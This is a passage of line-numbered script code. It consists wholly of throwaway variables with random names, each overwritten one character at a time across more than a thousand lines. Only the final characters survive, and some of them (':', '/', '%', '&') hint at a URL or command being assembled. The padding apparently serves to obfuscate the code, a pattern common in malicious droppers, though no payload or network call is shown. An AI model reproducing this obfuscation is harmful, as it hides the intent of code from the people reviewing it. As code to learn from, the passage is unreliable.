287	drxpdgx = "e";
288	drxpdgx = "a";
289	drxpdgx = "F";
290	drxpdgx = "o";
291	drxpdgx = "t";
292	drxpdgx = "n";
293	drxpdgx = "J";
294	drxpdgx = "r";
295	qnzofh = "D";
296	qnzofh = "u";
297	qnzofh = "H";
298	eafsoc = "Z";
299	eafsoc = "f";
300	eafsoc = "d";
301	eafsoc = "Z";
302	eafsoc = "y";
303	eafsoc = "P";
304	eafsoc = "q";
305	eafsoc = "U";
306	eafsoc = "y";
307	eafsoc = "m";
308	eafsoc = "S";
309	eafsoc = "v";
310	eafsoc = "J";
311	eafsoc = "M";
312	eafsoc = "l";
313	eafsoc = "U";
314	eafsoc = "f";
315	eafsoc = "W";
316	eafsoc = "y";
317	eafsoc = "b";
318	eafsoc = "k";
319	eafsoc = "X";
320	eafsoc = "o";
321	eafsoc = "a";
322	eafsoc = "d";
323	eafsoc = "x";
324	eafsoc = "O";
325	eafsoc = "G";
326	eafsoc = "S";
327	eafsoc = "H";
328	eafsoc = "M";
329	eafsoc = "l";
330	eafsoc = "z";
331	eafsoc = "J";
332	eafsoc = "C";
333	eafsoc = "q";
334	eafsoc = "Q";
335	eafsoc = "-";
336	kfrmj = "O";
337	kfrmj = "c";
338	kfrmj = "m";
339	kfrmj = "R";
340	kfrmj = "q";
341	kfrmj = "N";
342	kfrmj = "Z";
343	kfrmj = "h";
344	kfrmj = "H";
345	kfrmj = "K";
346	kfrmj = "L";
347	kfrmj = "X";
348	kfrmj = "d";
349	kfrmj = "X";
350	kfrmj = "l";
351	kfrmj = "A";
352	kfrmj = "g";
353	kfrmj = "b";
354	kfrmj = "d";
355	kfrmj = "N";
356	kfrmj = "O";
357	kfrmj = "o";
358	kfrmj = "g";
359	kfrmj = "I";
360	kfrmj = "E";
361	kfrmj = "X";
362	kfrmj = "o";
363	kfrmj = "a";
364	kfrmj = "n";
365	kfrmj = "b";
366	kfrmj = "b";
367	kfrmj = "J";
368	kfrmj = "O";
369	kfrmj = "d";
370	kfrmj = "W";
371	kfrmj = "E";
372	kfrmj = "K";
373	kfrmj = "K";
374	kfrmj = "N";
375	kfrmj = "c";
376	kfrmj = "x";
377	kfrmj = "d";
378	kfrmj = "z";
379	kfrmj = "j";
380	krwos = "a";
381	krwos = "Y";
382	krwos = "L";
383	krwos = "m";
384	krwos = "K";
385	krwos = "l";
386	krwos = "o";
387	krwos = "x";
388	krwos = "B";
389	krwos = "f";
390	krwos = "V";
391	krwos = "n";
392	krwos = "r";
393	krwos = "J";
394	krwos = "f";
395	krwos = "s";
396	krwos = "B";
397	krwos = "f";
398	krwos = "N";
399	krwos = "L";
400	krwos = "T";
401	krwos = "o";
402	krwos = "N";
403	krwos = "o";
404	rpymq = "I";
405	rpymq = "Q";
406	rpymq = "Q";
407	rpymq = "p";
408	rpymq = "T";
409	rpymq = "D";
410	rpymq = "K";
411	rpymq = "Y";
412	rpymq = "s";
413	rpymq = "p";
414	gfyliyek = "x";
415	gfyliyek = "H";
416	gfyliyek = "G";
417	gfyliyek = "u";
418	gfyliyek = "c";
419	gfyliyek = "D";
420	gfyliyek = "u";
421	gfyliyek = "w";
422	gfyliyek = "V";
423	gfyliyek = "y";
424	gfyliyek = "e";
425	gfyliyek = "G";
426	gfyliyek = "f";
427	gfyliyek = "J";
428	gfyliyek = "f";
429	gfyliyek = "G";
430	gfyliyek = "Y";
431	gfyliyek = "Z";
432	gfyliyek = "Z";
433	gfyliyek = "U";
434	gfyliyek = "S";
435	gfyliyek = "t";
436	gfyliyek = "Q";
437	gfyliyek = "R";
438	gfyliyek = "z";
439	gfyliyek = "t";
440	gfyliyek = "m";
441	gfyliyek = "q";
442	gfyliyek = "P";
443	gfyliyek = "f";
444	gfyliyek = "v";
445	gfyliyek = "d";
446	gfyliyek = "f";
447	gfyliyek = "W";
448	gfyliyek = "W";
449	gfyliyek = "B";
450	gfyliyek = "W";
451	gfyliyek = "A";
452	gfyliyek = "K";
453	gfyliyek = "f";
454	gfyliyek = "u";
455	gfyliyek = "T";
456	gfyliyek = "G";
457	gfyliyek = "n";
458	gfyliyek = "R";
459	auafczzl = "r";
460	auafczzl = "r";
461	auafczzl = "n";
462	auafczzl = "a";
463	auafczzl = "u";
464	auafczzl = "w";
465	auafczzl = "r";
466	auafczzl = "h";
467	auafczzl = "y";
468	auafczzl = "G";
469	auafczzl = "V";
470	auafczzl = "w";
471	auafczzl = "N";
472	auafczzl = "b";
473	auafczzl = "O";
474	auafczzl = "n";
475	sqpnazxw = "J";
476	sqpnazxw = "R";
477	sqpnazxw = "n";
478	sqpnazxw = "s";
479	sqpnazxw = "G";
480	sqpnazxw = "S";
481	sqpnazxw = "F";
482	sqpnazxw = "N";
483	sqpnazxw = "c";
484	sqpnazxw = "v";
485	sqpnazxw = "f";
486	sqpnazxw = "a";
487	sqpnazxw = "g";
488	sqpnazxw = "O";
489	sqpnazxw = "J";
490	sqpnazxw = "r";
491	sqpnazxw = "o";
492	sqpnazxw = "b";
493	sqpnazxw = "c";
494	sqpnazxw = "r";
495	sqpnazxw = "S";
496	sqpnazxw = "q";
497	sqpnazxw = "a";
498	sqpnazxw = "Q";
499	sqpnazxw = "X";
500	sqpnazxw = "U";
501	sqpnazxw = "/";
502	nksrrkdsd = "q";
503	nksrrkdsd = "d";
504	nksrrkdsd = "n";
505	nksrrkdsd = "H";
506	nksrrkdsd = "f";
507	nksrrkdsd = "p";
508	nksrrkdsd = "q";
509	nksrrkdsd = "V";
510	nksrrkdsd = "r";
511	nksrrkdsd = "u";
512	nksrrkdsd = "t";
513	nksrrkdsd = "p";
514	nksrrkdsd = "N";
515	nksrrkdsd = "Q";
516	nksrrkdsd = "e";
517	nksrrkdsd = "k";
518	nksrrkdsd = "S";
519	nksrrkdsd = "F";
520	nksrrkdsd = "G";
521	nksrrkdsd = "c";
522	nksrrkdsd = "T";
523	nksrrkdsd = "B";
524	nksrrkdsd = "k";
525	nksrrkdsd = "w";
526	nksrrkdsd = "y";
527	nksrrkdsd = "O";
528	nksrrkdsd = "J";
529	nksrrkdsd = "W";
530	nksrrkdsd = "P";
531	nksrrkdsd = "b";
532	nksrrkdsd = "l";
533	wnkzq = "i";
534	wnkzq = "x";
535	wnkzq = "h";
536	wnkzq = "c";
537	wnkzq = "C";
538	wnkzq = "Y";
539	wnkzq = "A";
540	wnkzq = "T";
541	wnkzq = "k";
542	wnkzq = "O";
543	wnkzq = "t";
544	wnkzq = "n";
545	wnkzq = "b";
546	wnkzq = "L";
547	wnkzq = "r";
548	wnkzq = "X";
549	wnkzq = "T";
550	wnkzq = "r";
551	wnkzq = "v";
552	wnkzq = "n";
553	wnkzq = "g";
554	wnkzq = "y";
555	wnkzq = "S";
556	ygohoyg = "y";
557	ygohoyg = "q";
558	ygohoyg = "n";
559	ygohoyg = "m";
560	ygohoyg = "Q";
561	ygohoyg = "k";
562	ygohoyg = "E";
563	ygohoyg = "W";
564	ygohoyg = "F";
565	ygohoyg = "h";
566	ygohoyg = "u";
567	ygohoyg = "M";
568	ygohoyg = "X";
569	ygohoyg = "p";
570	ygohoyg = "k";
571	ygohoyg = "i";
572	ygohoyg = "M";
573	ygohoyg = "o";
574	ygohoyg = "H";
575	ygohoyg = "P";
576	ygohoyg = "H";
577	ygohoyg = "Y";
578	ygohoyg = "5";
579	lnbtro = "o";
580	lnbtro = "I";
581	lnbtro = "p";
582	lnbtro = "j";
583	lnbtro = "q";
584	lnbtro = "P";
585	lnbtro = "G";
586	lnbtro = "w";
587	lnbtro = "L";
588	lnbtro = "h";
589	ajelu = "O";
590	ajelu = "G";
591	ajelu = "F";
592	ajelu = "D";
593	ajelu = "Q";
594	ajelu = "J";
595	ajelu = "N";
596	ajelu = "M";
597	ajelu = "g";
598	ajelu = "B";
599	ajelu = "I";
600	gjufyrxor = "T";
601	gjufyrxor = "r";
602	gjufyrxor = "i";
603	gjufyrxor = "h";
604	gjufyrxor = "F";
605	gjufyrxor = "J";
606	gjufyrxor = "x";
607	gjufyrxor = "M";
608	gjufyrxor = "d";
609	gjufyrxor = "q";
610	gjufyrxor = "C";
611	gjufyrxor = "s";
612	gjufyrxor = "k";
613	gjufyrxor = "m";
614	gjufyrxor = "W";
615	gjufyrxor = "z";
616	gjufyrxor = "Z";
617	gjufyrxor = "h";
618	gjufyrxor = "d";
619	gjufyrxor = "Y";
620	gjufyrxor = "q";
621	gjufyrxor = "d";
622	gjufyrxor = "w";
623	gjufyrxor = "e";
624	gjufyrxor = "B";
625	gjufyrxor = "O";
626	gjufyrxor = "d";
627	gjufyrxor = "x";
628	gjufyrxor = "Y";
629	gjufyrxor = "m";
630	gjufyrxor = "B";
631	gjufyrxor = "X";
632	gjufyrxor = "Q";
633	gjufyrxor = "s";
634	gjufyrxor = "o";
635	gjufyrxor = "v";
636	gjufyrxor = "g";
637	gjufyrxor = "T";
638	gjufyrxor = "f";
639	gjufyrxor = "T";
640	gjufyrxor = "n";
641	gjufyrxor = "t";
642	ugviwwelz = "b";
643	ugviwwelz = "P";
644	ugviwwelz = "m";
645	ugviwwelz = "o";
646	ugviwwelz = "g";
647	ugviwwelz = "j";
648	ugviwwelz = "x";
649	ugviwwelz = "P";
650	ugviwwelz = "b";
651	ugviwwelz = "d";
652	ugviwwelz = "I";
653	ugviwwelz = "n";
654	ugviwwelz = "s";
655	ugviwwelz = "R";
656	ugviwwelz = "l";
657	ugviwwelz = "D";
658	ugviwwelz = "J";
659	ugviwwelz = "h";
660	ugviwwelz = "N";
661	ugviwwelz = "N";
662	ugviwwelz = "u";
663	ugviwwelz = "F";
664	yqclveojs = "i";
665	yqclveojs = "s";
666	yqclveojs = "M";
667	yqclveojs = "B";
668	yqclveojs = "E";
669	yqclveojs = "r";
670	yqclveojs = "F";
671	yqclveojs = "C";
672	yqclveojs = "H";
673	yqclveojs = "z";
674	yqclveojs = "X";
675	yqclveojs = "B";
676	yqclveojs = "c";
677	yqclveojs = "l";
678	yqclveojs = "D";
679	yqclveojs = "V";
680	yqclveojs = "O";
681	yqclveojs = "K";
682	yqclveojs = "e";
683	yqclveojs = "m";
684	yqclveojs = "M";
685	yqclveojs = "n";
686	yqclveojs = "e";
687	tmztqweu = "t";
688	tmztqweu = "s";
689	tmztqweu = "S";
690	tmztqweu = "x";
691	tmztqweu = "J";
692	tmztqweu = "E";
693	tmztqweu = "v";
694	tmztqweu = "h";
695	tmztqweu = "d";
696	tmztqweu = "h";
697	tmztqweu = "L";
698	tmztqweu = "y";
699	tmztqweu = "u";
700	tmztqweu = "m";
701	tmztqweu = "A";
702	tmztqweu = "R";
703	tmztqweu = "m";
704	tmztqweu = "O";
705	tmztqweu = "f";
706	tmztqweu = "g";
707	tmztqweu = "t";
708	tmztqweu = "m";
709	tmztqweu = "m";
710	tmztqweu = "q";
711	tmztqweu = "K";
712	tmztqweu = "W";
713	tmztqweu = "Z";
714	tmztqweu = "s";
715	tmztqweu = "c";
716	tmztqweu = "M";
717	tmztqweu = "Y";
718	tmztqweu = "A";
719	tmztqweu = "H";
720	tmztqweu = "o";
721	tmztqweu = "h";
722	tmztqweu = ":";
723	itshfxo = "X";
724	itshfxo = "O";
725	itshfxo = "z";
726	itshfxo = "j";
727	itshfxo = "Y";
728	itshfxo = "Q";
729	itshfxo = "w";
730	itshfxo = "l";
731	itshfxo = "u";
732	itshfxo = "d";
733	itshfxo = "t";
734	itshfxo = "G";
735	itshfxo = "V";
736	itshfxo = "x";
737	itshfxo = "Q";
738	itshfxo = "x";
739	itshfxo = "V";
740	itshfxo = "v";
741	itshfxo = "O";
742	itshfxo = "u";
743	itshfxo = "k";
744	itshfxo = "p";
745	itshfxo = "g";
746	itshfxo = "Q";
747	itshfxo = "y";
748	itshfxo = "q";
749	itshfxo = "f";
750	itshfxo = "k";
751	itshfxo = "Z";
752	itshfxo = "f";
753	itshfxo = "b";
754	itshfxo = "R";
755	itshfxo = "Z";
756	itshfxo = "m";
757	itshfxo = "h";
758	itshfxo = "E";
759	itshfxo = "P";
760	mndnbs = "y";
761	mndnbs = "J";
762	mndnbs = "z";
763	mndnbs = "S";
764	mndnbs = "q";
765	mndnbs = "g";
766	mndnbs = "l";
767	mndnbs = "A";
768	mndnbs = "n";
769	mndnbs = "M";
770	mndnbs = "o";
771	mndnbs = "g";
772	mndnbs = "a";
773	mndnbs = "L";
774	mndnbs = "O";
775	mndnbs = "n";
776	mndnbs = "i";
777	mndnbs = " ";
778	kggovrdjl = "R";
779	kggovrdjl = "M";
780	kggovrdjl = "I";
781	kggovrdjl = "x";
782	kggovrdjl = "M";
783	kggovrdjl = "e";
784	kggovrdjl = "s";
785	kggovrdjl = "M";
786	kggovrdjl = "j";
787	kggovrdjl = "X";
788	kggovrdjl = "J";
789	kggovrdjl = "M";
790	kggovrdjl = "e";
791	kggovrdjl = "O";
792	kggovrdjl = "D";
793	kggovrdjl = "G";
794	kggovrdjl = "L";
795	kggovrdjl = "R";
796	kggovrdjl = "d";
797	kggovrdjl = "B";
798	kggovrdjl = "p";
799	kggovrdjl = "V";
800	kggovrdjl = "j";
801	kggovrdjl = "F";
802	kggovrdjl = "x";
803	kggovrdjl = "T";
804	kggovrdjl = "v";
805	kggovrdjl = "k";
806	kggovrdjl = "A";
807	kggovrdjl = "P";
808	kggovrdjl = "I";
809	kggovrdjl = "C";
810	kggovrdjl = "d";
811	kggovrdjl = "E";
812	kggovrdjl = "g";
813	kggovrdjl = "O";
814	kzeftp = "k";
815	kzeftp = "s";
816	kzeftp = "V";
817	kzeftp = "u";
818	kzeftp = "P";
819	kzeftp = "v";
820	kzeftp = "E";
821	kzeftp = "W";
822	kzeftp = "i";
823	kzeftp = "H";
824	kzeftp = "D";
825	kzeftp = "d";
826	kzeftp = "v";
827	kzeftp = "H";
828	kzeftp = "D";
829	kzeftp = "G";
830	kzeftp = "R";
831	kzeftp = "Z";
832	kzeftp = "L";
833	kzeftp = "e";
834	kzeftp = "R";
835	kzeftp = "I";
836	kzeftp = "j";
837	kzeftp = "h";
838	kzeftp = "w";
839	kzeftp = "3";
840	yidqbsfm = "Y";
841	yidqbsfm = "H";
842	yidqbsfm = "Q";
843	yidqbsfm = "p";
844	yidqbsfm = "o";
845	yidqbsfm = "T";
846	yidqbsfm = "c";
847	yidqbsfm = "t";
848	yidqbsfm = "d";
849	yidqbsfm = "S";
850	yidqbsfm = "H";
851	yidqbsfm = "k";
852	yidqbsfm = "X";
853	yidqbsfm = "Z";
854	yidqbsfm = "n";
855	yidqbsfm = "B";
856	yidqbsfm = "m";
857	yidqbsfm = "v";
858	yidqbsfm = "9";
859	zfvblmbbq = "o";
860	zfvblmbbq = "H";
861	zfvblmbbq = "i";
862	zfvblmbbq = "j";
863	zfvblmbbq = "X";
864	zfvblmbbq = "i";
865	zfvblmbbq = "m";
866	zfvblmbbq = "c";
867	zfvblmbbq = "M";
868	zfvblmbbq = "Y";
869	zfvblmbbq = "a";
870	zfvblmbbq = "x";
871	zfvblmbbq = "q";
872	zfvblmbbq = "u";
873	zfvblmbbq = "M";
874	zfvblmbbq = "y";
875	zfvblmbbq = "r";
876	zfvblmbbq = "T";
877	zfvblmbbq = "C";
878	zfvblmbbq = "Y";
879	zfvblmbbq = "q";
880	zfvblmbbq = "W";
881	zfvblmbbq = "V";
882	zfvblmbbq = "d";
883	zfvblmbbq = "M";
884	zfvblmbbq = "t";
885	zfvblmbbq = "R";
886	zfvblmbbq = "R";
887	zfvblmbbq = "C";
888	zfvblmbbq = "w";
889	zfvblmbbq = "x";
890	zfvblmbbq = "p";
891	zfvblmbbq = "A";
892	zfvblmbbq = "u";
893	zfvblmbbq = "O";
894	zfvblmbbq = "o";
895	zfvblmbbq = "e";
896	zfvblmbbq = "m";
897	zfvblmbbq = "t";
898	zfvblmbbq = "Q";
899	zfvblmbbq = "r";
900	zfvblmbbq = "y";
901	zfvblmbbq = "7";
902	dpofxgn = "S";
903	dpofxgn = "u";
904	dpofxgn = "S";
905	dpofxgn = "E";
906	dpofxgn = "s";
907	dpofxgn = "h";
908	dpofxgn = "W";
909	dpofxgn = "A";
910	dpofxgn = "h";
911	dpofxgn = "G";
912	dpofxgn = "D";
913	dpofxgn = "q";
914	dpofxgn = "k";
915	dpofxgn = "C";
916	dpofxgn = "A";
917	dpofxgn = "V";
918	dpofxgn = "a";
919	dpofxgn = "Z";
920	dpofxgn = "p";
921	dpofxgn = "j";
922	dpofxgn = "K";
923	dpofxgn = "E";
924	dpofxgn = "u";
925	dpofxgn = "C";
926	dpofxgn = "r";
927	dpofxgn = "Q";
928	dpofxgn = "g";
929	dpofxgn = "m";
930	dpofxgn = "l";
931	dpofxgn = "p";
932	dpofxgn = "n";
933	dpofxgn = "X";
934	dpofxgn = "Z";
935	dpofxgn = "v";
936	dpofxgn = "y";
937	dpofxgn = "v";
938	dpofxgn = "q";
939	dpofxgn = "%";
940	ppgcogsv = "e";
941	ppgcogsv = "H";
942	ppgcogsv = "y";
943	ppgcogsv = "J";
944	ppgcogsv = "E";
945	ppgcogsv = "S";
946	ppgcogsv = "e";
947	ppgcogsv = "T";
948	ppgcogsv = "F";
949	ppgcogsv = "P";
950	ppgcogsv = "Q";
951	ppgcogsv = "I";
952	ppgcogsv = "l";
953	ppgcogsv = "c";
954	ppgcogsv = "k";
955	ppgcogsv = "C";
956	ppgcogsv = "I";
957	ppgcogsv = "U";
958	ppgcogsv = "P";
959	ppgcogsv = "H";
960	ppgcogsv = "v";
961	ppgcogsv = "F";
962	ppgcogsv = "Z";
963	ppgcogsv = "w";
964	ppgcogsv = "s";
965	ppgcogsv = "J";
966	ppgcogsv = "m";
967	ppgcogsv = "J";
968	ppgcogsv = "Y";
969	ppgcogsv = "L";
970	ppgcogsv = "W";
971	ppgcogsv = "u";
972	ppgcogsv = "m";
973	ppgcogsv = "E";
974	ppgcogsv = "x";
975	ppgcogsv = "V";
976	ppgcogsv = "Q";
977	ppgcogsv = "Y";
978	ppgcogsv = "W";
979	ppgcogsv = "O";
980	ppgcogsv = "h";
981	ppgcogsv = "w";
982	ppgcogsv = "Q";
983	ppgcogsv = "v";
984	jemunb = "v";
985	jemunb = "v";
986	jemunb = "i";
987	jemunb = "r";
988	jemunb = "t";
989	jemunb = "v";
990	jemunb = "S";
991	jemunb = "U";
992	jemunb = "v";
993	jemunb = "s";
994	jemunb = "c";
995	jemunb = "y";
996	jemunb = "N";
997	jemunb = "f";
998	jemunb = "h";
999	jemunb = "l";
1000	jemunb = "q";
1001	uvrci = "f";
1002	uvrci = "k";
1003	uvrci = "s";
1004	uvrci = "B";
1005	uvrci = "u";
1006	uvrci = "z";
1007	uvrci = "Y";
1008	uvrci = "M";
1009	uvrci = "r";
1010	uvrci = "k";
1011	uvrci = "C";
1012	uvrci = "c";
1013	uvrci = "o";
1014	uvrci = "Q";
1015	uvrci = "t";
1016	uvrci = "p";
1017	uvrci = "a";
1018	uvrci = "U";
1019	uvrci = "F";
1020	uvrci = "k";
1021	uvrci = "Q";
1022	uvrci = "V";
1023	uvrci = "l";
1024	uvrci = "d";
1025	uvrci = "Y";
1026	uvrci = "u";
1027	uvrci = "p";
1028	uvrci = "k";
1029	uvrci = "a";
1030	uvrci = "f";
1031	uvrci = "F";
1032	uvrci = "l";
1033	uvrci = "c";
1034	uvrci = "J";
1035	uvrci = "G";
1036	uvrci = "&";
1037	vufds = "J";
1038	vufds = "R";
1039	vufds = "J";
1040	vufds = "J";
1041	vufds = "X";
1042	vufds = "a";
1043	vufds = "G";
1044	vufds = "G";
1045	vufds = "n";
1046	vufds = "z";
1047	vufds = "e";
1048	vufds = "p";
1049	vufds = "G";
1050	vufds = "O";
1051	vufds = "8";
1052	fafyqc = "L";
1053	fafyqc = "X";
1054	fafyqc = "L";
1055	fafyqc = "C";
1056	fafyqc = "g";
1057	ezbkdgcwg = "O";
1058	ezbkdgcwg = "R";
1059	ezbkdgcwg = "n";
1060	ezbkdgcwg = "z";
1061	ezbkdgcwg = "X";
1062	ezbkdgcwg = "m";
1063	ezbkdgcwg = "Q";
1064	ezbkdgcwg = "t";
1065	ezbkdgcwg = "m";
1066	ezbkdgcwg = "a";
1067	ezbkdgcwg = "O";
1068	ezbkdgcwg = "H";
1069	ezbkdgcwg = "w";
1070	ezbkdgcwg = "S";
1071	ezbkdgcwg = "C";
1072	ezbkdgcwg = "Y";
1073	ezbkdgcwg = "G";
1074	ezbkdgcwg = "t";
1075	ezbkdgcwg = "U";
1076	iiqcf = "x";
1077	iiqcf = "m";
1078	iiqcf = "A";
1079	iiqcf = "T";
1080	iiqcf = "c";
1081	iiqcf = "F";
1082	iiqcf = "l";
1083	iiqcf = "f";
1084	iiqcf = "L";
1085	iiqcf = "q";
1086	iiqcf = "y";
1087	iiqcf = "L";
1088	iiqcf = "w";
1089	iiqcf = "Z";
1090	iiqcf = "P";
1091	iiqcf = "s";
1092	iiqcf = "w";
1093	iiqcf = "U";
1094	iiqcf = "z";
1095	iiqcf = "X";
1096	iiqcf = "k";
1097	iiqcf = "K";
1098	iiqcf = "u";
1099	iiqcf = "q";
1100	iiqcf = "H";
1101	iiqcf = "c";
1102	iiqcf = "Z";
1103	iiqcf = "f";
1104	iiqcf = "y";
1105	iiqcf = "q";
1106	iiqcf = "K";
1107	iiqcf = "M";
1108	iiqcf = "R";
1109	iiqcf = "b";
1110	iiqcf = "w";
1111	iiqcf = "N";
1112	iiqcf = "F";
1113	iiqcf = "y";
1114	iiqcf = "u";
1115	iiqcf = "k";
1116	fxcrsjwe = "x";
1117	apscd = "z";
1118	apscd = "C";
1119	apscd = "v";
1120	apscd = "f";
1121	apscd = "M";
1122	apscd = "o";
1123	apscd = "P";
1124	apscd = "W";
1125	apscd = "w";
1126	apscd = "D";
1127	apscd = "W";
1128	apscd = "f";
1129	apscd = "i";
1130	apscd = "a";
1131	apscd = "c";
1132	apscd = "q";
1133	apscd = "L";
1134	apscd = "z";
1135	apscd = "S";
1136	apscd = "R";
1137	apscd = "a";
1138	apscd = "d";
1139	apscd = "W";
1140	apscd = "Q";
1141	apscd = "N";
1142	apscd = "C";
1143	apscd = "D";
1144	apscd = "X";
1145	apscd = "U";
1146	apscd = "S";
1147	apscd = "R";
1148	apscd = "b";
1149	apscd = "C";
1150	apscd = "j";
1151	apscd = "Q";
1152	ocnngdr = "E";
1153	ocnngdr = "B";
1154	ocnngdr = "T";
1155	ocnngdr = "n";
1156	ocnngdr = "b";
1157	ocnngdr = "J";
1158	ocnngdr = "K";
1159	ocnngdr = "a";
1160	ocnngdr = "g";
1161	ocnngdr = "G";
1162	ocnngdr = "k";
1163	ocnngdr = "b";
1164	ocnngdr = "g";
1165	ocnngdr = "N";
1166	ocnngdr = "C";
1167	ocnngdr = "f";
1168	ocnngdr = "R";
1169	ocnngdr = "q";
1170	ocnngdr = "S";
1171	ocnngdr = "s";
1172	fpagtj = "v";
1173	fpagtj = "n";
1174	fpagtj = "M";
1175	fpagtj = "I";
1176	fpagtj = "o";
1177	fpagtj = "e";
1178	fpagtj = "j";
1179	fpagtj = "R";
1180	fpagtj = "T";
1181	fpagtj = "K";
1182	fpagtj = "s";
1183	fpagtj = "F";
1184	fpagtj = "s";
1185	fpagtj = "a";
1186	fpagtj = "i";
1187	hauqsblv = "R";
1188	hauqsblv = "D";
1189	hauqsblv = "H";
1190	hauqsblv = "E";
1191	hauqsblv = "i";
1192	hauqsblv = "V";
1193	hauqsblv = "g";
1194	hauqsblv = "c";
1195	hauqsblv = "n";
1196	hauqsblv = "g";
1197	hauqsblv = "e";
1198	hauqsblv = "U";
1199	hauqsblv = "m";
1200	hauqsblv = "R";
1201	hauqsblv = "y";
1202	hauqsblv = "l";
1203	hauqsblv = "I";
1204	hauqsblv = "s";
1205	hauqsblv = "U";
1206	hauqsblv = "C";
1207	hauqsblv = "L";
1208	hauqsblv = "l";
1209	hauqsblv = "Y";
1210	hauqsblv = "z";
1211	hauqsblv = "Y";
1212	hauqsblv = "z";
1213	hauqsblv = "u";
1214	hauqsblv = "k";
1215	hauqsblv = "f";
1216	qitrfe = "w";
1217	qitrfe = "d";
1218	qitrfe = "x";
1219	qitrfe = "T";
1220	qitrfe = "E";
1221	dykis = "o";
1222	dykis = "H";
1223	dykis = "T";
1224	dykis = "M";
1225	dykis = "q";
1226	dykis = "i";
1227	dykis = "c";
1228	dykis = "U";
1229	dykis = "i";
1230	dykis = "b";
1231	dykis = "L";
1232	dykis = "u";
1233	dykis = "u";
1234	dykis = "M";
1235	dykis = "K";
1236	dykis = "C";
1237	dykis = "s";
1238	dykis = "O";
1239	dykis = "e";
1240	dykis = "F";
1241	dykis = "B";
1242	dykis = "o";
1243	dykis = "u";
1244	wczoksru = "X";
1245	wczoksru = "t";
1246	wczoksru = "m";
1247	wczoksru = "Q";
1248	wczoksru = "a";
1249	wczoksru = "V";
1250	wczoksru = "B";
1251	wczoksru = "a";
1252	wczoksru = "g";
1253	wczoksru = "y";
1254	wczoksru = "S";
1255	wczoksru = "v";
1256	wczoksru = "C";
1257	wczoksru = "Q";
1258	wczoksru = "z";
1259	wczoksru = "o";
1260	wczoksru = "H";
1261	wczoksru = "m";
1262	wczoksru = "d";
1263	wczoksru = "Q";
1264	wczoksru = "F";
1265	wczoksru = "f";
1266	wczoksru = "U";
1267	wczoksru = "t";
1268	wczoksru = "Z";
1269	wczoksru = "U";
1270	wczoksru = "Z";
1271	wczoksru = "l";
1272	wczoksru = "O";
1273	wczoksru = "r";
1274	wczoksru = "a";
1275	wczoksru = "A";
1276	wczoksru = "F";
1277	wczoksru = "s";
1278	wczoksru = "K";
1279	wczoksru = "e";
1280	wczoksru = "i";
1281	wczoksru = "O";
1282	wczoksru = "v";
1283	wczoksru = "D";
1284	wczoksru = "C";
1285	bhumbqryz = "T";
1286	bhumbqryz = "S";
1287	bhumbqryz = "w";
1288	bhumbqryz = "Y";
1289	bhumbqryz = "E";
1290	bhumbqryz = "T";
1291	bhumbqryz = "c";
1292	bhumbqryz = "K";
1293	bhumbqryz = "j";
1294	bhumbqryz = "I";
1295	bhumbqryz = "a";
1296	bhumbqryz = "X";
1297	bhumbqryz = "B";
1298	bhumbqryz = "N";
1299	bhumbqryz = "E";
1300	bhumbqryz = "X";
1301	bhumbqryz = "s";
1302	bhumbqryz = "Y";
1303	bhumbqryz = "S";
1304	bhumbqryz = "D";
1305	bhumbqryz = "O";
1306	bhumbqryz = "I";
1307	bhumbqryz = "n";
1308	bhumbqryz = "h";
1309	bhumbqryz = "I";
1310	bhumbqryz = "h";
1311	bhumbqryz = "g";
1312	bhumbqryz = "r";
1313	bhumbqryz = "A";
1314	bhumbqryz = "r";
1315	bhumbqryz = "o";
1316	bhumbqryz = "T";
1317	bhumbqryz = "J";
1318	bhumbqryz = "G";
1319	bhumbqryz = "M";
1320	bhumbqryz = "L";
1321	bhumbqryz = "Q";
1322	bhumbqryz = "z";
1323	bhumbqryz = "C";
1324	bhumbqryz = "E";
1325	bhumbqryz = "u";
1326	bhumbqryz = "d";
1327	bhumbqryz = "j";
1328	bhumbqryz = "0";
1329	wqpnuz = "k";
1330	wqpnuz = "l";
1331	wqpnuz = "Y";
1332	wqpnuz = "d";
1333	wqpnuz = "T";
1334	wqpnuz = "o";
1335	wqpnuz = "q";
1336	wqpnuz = "c";
1337	wqpnuz = "o";
1338	wqpnuz = "E";
1339	wqpnuz = "f";
1340	wqpnuz = "n";
1341	wqpnuz = "k";
1342	wqpnuz = "I";
1343	wqpnuz = "x";
1344	wqpnuz = "i";
1345	wqpnuz = "B";
1346	wqpnuz = "m";
1347	wqpnuz = "M";
1348	wqpnuz = "d";
1349	wqpnuz = "W";
1350	wqpnuz = "Y";
1351	wqpnuz = "1";
1352	rctserlpx = "L";
1353	rctserlpx = "z";
1354	rctserlpx = "j";
1355	rctserlpx = "X";
1356	rctserlpx = "N";
1357	rctserlpx = "x";
1358	rctserlpx = "z";
1359	rctserlpx = "L";
1360	rctserlpx = "m";
1361	rctserlpx = "G";
1362	rctserlpx = "O";
1363	rctserlpx = "h";
1364	rctserlpx = "o";
1365	rctserlpx = "n";
1366	rctserlpx = "J";
1367	rctserlpx = "u";
1368	rctserlpx = "K";
1369	rctserlpx = "S";
1370	rctserlpx = "m";
1371	rctserlpx = "g";
1372	rctserlpx = "d";
1373	rctserlpx = "q";
1374	rctserlpx = "z";
1375	rctserlpx = "J";
1376	rctserlpx = "j";
1377	rctserlpx = "W";
1378	rctserlpx = "S";
1379	rctserlpx = "A";
1380	rctserlpx = "N";
1381	rctserlpx = "X";
1382	rctserlpx = "m";
1383	rctserlpx = "z";
1384	rctserlpx = "p";
1385	rctserlpx = "d";
1386	rctserlpx = "P";
1387	rctserlpx = "T";
1388	rctserlpx = "F";
1389	rctserlpx = "I";
1390	rctserlpx = "Q";
1391	rctserlpx = "f";
1392	rctserlpx = "4";
1393	onteyixen = "b";
1394	onteyixen = "Z";
1395	onteyixen = "d";
1396	onteyixen = "e";
1397	onteyixen = "A";
1398	onteyixen = "U";
1399	onteyixen = "N";
1400	onteyixen = "a";
1401	onteyixen = "q";
1402	onteyixen = "w";
1403	onteyixen = "A";
1404	onteyixen = "L";
1405	onteyixen = "c";
1406	onteyixen = "S";
1407	onteyixen = "Q";
1408	onteyixen = "I";
1409	onteyixen = "O";
1410	onteyixen = "t";
1411	onteyixen = "N";
1412	onteyixen = "v";
1413	onteyixen = "V";
1414	onteyixen = "q";
1415	onteyixen = "F";
1416	onteyixen = "S";
1417	onteyixen = "R";
1418	onteyixen = "A";
1419	onteyixen = "v";
1420	onteyixen = "v";
1421	onteyixen = "a";
1422	onteyixen = "s";
1423	onteyixen = "y";
1424	onteyixen = "W";
1425	onteyixen = "Y";
1426	onteyixen = "K";
1427	onteyixen = "j";
1428	onteyixen = "N";
